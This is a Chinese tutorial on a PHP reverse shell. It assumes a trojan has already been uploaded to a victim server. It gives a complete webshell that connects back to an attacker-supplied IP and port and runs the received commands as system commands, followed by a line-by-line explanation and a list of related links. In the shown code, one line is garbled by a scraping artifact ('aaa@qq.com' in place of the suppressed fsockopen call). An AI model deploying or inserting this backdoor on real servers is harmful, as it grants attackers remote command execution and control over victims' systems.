PHP反弹shell(巨细教程)
步骤详解:
前提:
①、PHPStudy开启相关服务。
②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
③、攻击机器和受害服务器要处于同一网段。
1、划线为攻击机的IP+端口。
2、攻击机监听自身端口4444,即可获取执行shell。
<?php
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
aaa@qq.com($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
代码注释:
1、set_time_limit()
来控制运行时间。如 set_time_limit(800)
,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip']
$_POST['port']
表示传递的攻击的IP,PORT。
3、aaa@qq.com($ip,$port,$errno,$errstr);
fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@
屏蔽报错信息,返回一个文件句柄$fp
,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
。
4、判断$fp
是否存在,不存在报错echo "error"
,存在就使用fputs()
函数写入连接成功信息。
5、feof()
函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6、fputs($fp,"shell:");
向句柄输出shell:的提示
7、$shell=fgets($fp);
将攻击机输入命令通过文件句柄$fp
传递入受害机器,同时使用fget()
函数读取输入的命令,最终传递给$shell
变量存储。
8、$message=`$shell`;
php默认将反单引号的内容作为系统命令执行。
9、fputs($fp,$message);
将结果输出至攻击机端显示。
10、fclose($fp);
关闭文件句柄。
推荐阅读
-
php反弹shell实现代码
-
PHP教程之PHP中shell脚本的使用方法分享
-
Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md
-
手工挖洞学习笔记:dvwa命令执行漏洞/载入php反弹shell
-
php反弹shell实现代码
-
PHP下利用shell后台运行PHP脚本,并获取该脚本的Process ID的代码_PHP教程
-
PHP 命令行工具 shell_exec, exec, passthru, system详细使用介绍_PHP教程
-
shell中俄罗斯方块_PHP教程
-
实用技巧:将PHP作为Shell脚本语言使用_PHP教程
-
php调用com 组件wscript.shell执行dos命令_PHP教程